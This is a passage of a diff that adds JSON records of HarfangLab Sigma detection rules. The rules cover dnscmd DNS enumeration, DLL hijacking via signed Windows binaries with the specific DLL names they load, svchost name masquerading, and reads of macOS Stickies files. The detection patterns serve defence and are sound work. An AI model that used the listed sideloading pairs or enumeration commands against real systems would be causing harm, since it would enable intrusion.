'dnscmd.exe'\n        CommandLine|contains:\n            - ' ?enumrecords'\n            - ' ?enumzones'\n            - ' ?ZonePrint'\n            - ' ?info'\n    filter_bestpractice:\n        ParentImage:\n            - '?:\\Windows\\System32\\wsmprovhost.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        CurrentDirectory: '?:\\Windows\\System32\\BestPractices\\v1.0\\Models\\Microsoft\\Windows\\DNSServer\\'\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e6bfc159-5271-4835-a319-0f1d4cea23c7",
+  "rule_name": "DNS Records Discovered via dnscmd.exe",
+  "rule_description": "Detects the usage of dnscmd.exe to enumerate domain DNS entries.\nAttackers may leverage dnscmd.exe to gather information about DNS entries of a domain and thus identify new potential targets.\nIt is recommended to investigate actions made by the parent process to identify other potentially malicious commands and to correlate this alert with other discovery actions.\n",
+  "rule_creation_date": "2023-12-27",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e6dc15a6-39f5-4581-ad25-f3bb74d6d2cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083898Z",
+  "creation_date": "2026-03-23T11:45:34.083900Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083904Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ktmutil.yml",
+  "content": "title: DLL Hijacking via ktmutil.exe\nid: e6dc15a6-39f5-4581-ad25-f3bb74d6d2cf\ndescription: |\n    Detects potential Windows DLL Hijacking via ktmutil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ktmutil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\ktmw32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e6dc15a6-39f5-4581-ad25-f3bb74d6d2cf",
+  "rule_name": "DLL Hijacking via ktmutil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ktmutil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e6ee37ea-dabe-45dc-a61c-150a5c09ecf8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092751Z",
+  "creation_date": "2026-03-23T11:45:34.092753Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092757Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dmclient.yml",
+  "content": "title: DLL Hijacking via dmclient.exe\nid: e6ee37ea-dabe-45dc-a61c-150a5c09ecf8\ndescription: |\n    Detects potential Windows DLL Hijacking via dmclient.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dmclient.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DMCfgUtils.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\dmenterprisediagnostics.dll'\n            - '\\dmiso8601utils.dll'\n            - '\\DMOleAutUtils.dll'\n            - '\\dmxmlhelputils.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\iri.dll'\n            - '\\omadmapi.dll'\n            - '\\policymanager.dll'\n            - '\\USERENV.dll'\n            - '\\WINHTTP.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e6ee37ea-dabe-45dc-a61c-150a5c09ecf8",
+  "rule_name": "DLL Hijacking via dmclient.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dmclient.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e732dcfa-139d-4903-840c-b11bb78094be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594566Z",
+  "creation_date": "2026-03-23T11:45:34.594569Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594577Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_applytrustoffline.yml",
+  "content": "title: DLL Hijacking via applytrustoffline.exe\nid: e732dcfa-139d-4903-840c-b11bb78094be\ndescription: |\n    Detects potential Windows DLL Hijacking via applytrustoffline.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'applytrustoffline.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith:\n            - '\\mintdh.dll'\n            - '\\StateRepository.Core.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e732dcfa-139d-4903-840c-b11bb78094be",
+  "rule_name": "DLL Hijacking via applytrustoffline.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via applytrustoffline.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e7ed7279-d5a1-4748-9cc6-1d86495d6221",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070587Z",
+  "creation_date": "2026-03-23T11:45:34.070589Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070594Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/",
+    "https://redcanary.com/blog/threat-detection/process-masquerading/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_svchost_masquerading.yml",
+  "content": "title: Binary Masquerading as svchost.exe\nid: e7ed7279-d5a1-4748-9cc6-1d86495d6221\ndescription: |\n    Detects an executed process whose name is similar to svchost.exe.\n    Adversaries may approximate the name of svchost binary in order to evade detection and analysis.\n    It is recommended to check the legitimacy of the process by analyzing its behavior and correlating with other alerts on the endpoint.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/\n    - https://redcanary.com/blog/threat-detection/process-masquerading/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/10/02\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.004\n    - attack.t1036.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessName:\n            - 'svhost.exe'\n            - 'scvhost.exe'\n            - 'svchosst.exe'\n            - 'svehost.exe'\n            - 'svchast.exe'\n            - 'svchos.exe'\n            - 'schost.exe'\n            - 'svchostt.exe'\n            - 'svvhost.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e7ed7279-d5a1-4748-9cc6-1d86495d6221",
+  "rule_name": "Binary Masquerading as svchost.exe",
+  "rule_description": "Detects an executed process whose name is similar to svchost.exe.\nAdversaries may approximate the name of svchost binary in order to evade detection and analysis.\nIt is recommended to check the legitimacy of the process by analyzing its behavior and correlating with other alerts on the endpoint.\n",
+  "rule_creation_date": "2024-10-02",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.004",
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e7f19118-d344-433f-ab0a-2ba59a7576aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618601Z",
+  "creation_date": "2026-03-23T11:45:34.618603Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618607Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_read_stickies.yml",
+  "content": "title: Suspicious Read Access to Stickies Files\nid: e7f19118-d344-433f-ab0a-2ba59a7576aa\ndescription: |\n    Detects a process reading sensitive files related to the Stickies application.\n    Adversaries may target user sticky notes on local systems to collect sensitive information.\n    It is recommended to check whether the process that accessed the file had legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path|startswith: '/Users/*/Library/Containers/com.apple.Stickies/Data/Library/Stickies/'\n        ProcessImage|contains: '?'\n\n    filter_stickies:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.Stickies'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_security_tools:\n        Image:\n            - /Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n            - '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n            - '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n            - '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n            - '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n            - '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n            - '/Library/Application Support/PaloAltoNetworks/Traps/bin/pmd'\n\n    ### backup sofware ###\n    exclusion_backup:\n        Image:\n            - '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n            - '/Library/Oxibox/oxibackupd'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_checkpoint:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId:\n            - 'cpard'\n            - 'com.checkpoint.am.app'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e7f19118-d344-433f-ab0a-2ba59a7576aa",
+  "rule_name": "Suspicious Read Access to Stickies Files",
+  "rule_description": "Detects a process reading sensitive files related to the Stickies application.\nAdversaries may target user sticky notes on local systems to collect sensitive information.\nIt is recommended to check whether the process that accessed the file had legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e810a8d7-5996-42a2-9fb8-44861142fdb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595232Z",
+  "creation_date": "2026-03-23T11:45:34.595235Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595243Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systempropertiesdataexecutionprevention.yml",
+  "content": "title: DLL Hijacking via systempropertiesdataexecutionprevention.exe\nid: e810a8d7-5996-42a2-9fb8-44861142fdb2\ndescription: |\n    Detects potential Windows DLL Hijacking via systempropertiesdataexecutionprevention.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systempropertiesdataexecutionprevention.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e810a8d7-5996-42a2-9fb8-44861142fdb2",
+  "rule_name": "DLL Hijacking via systempropertiesdataexecutionprevention.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systempropertiesdataexecutionprevention.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
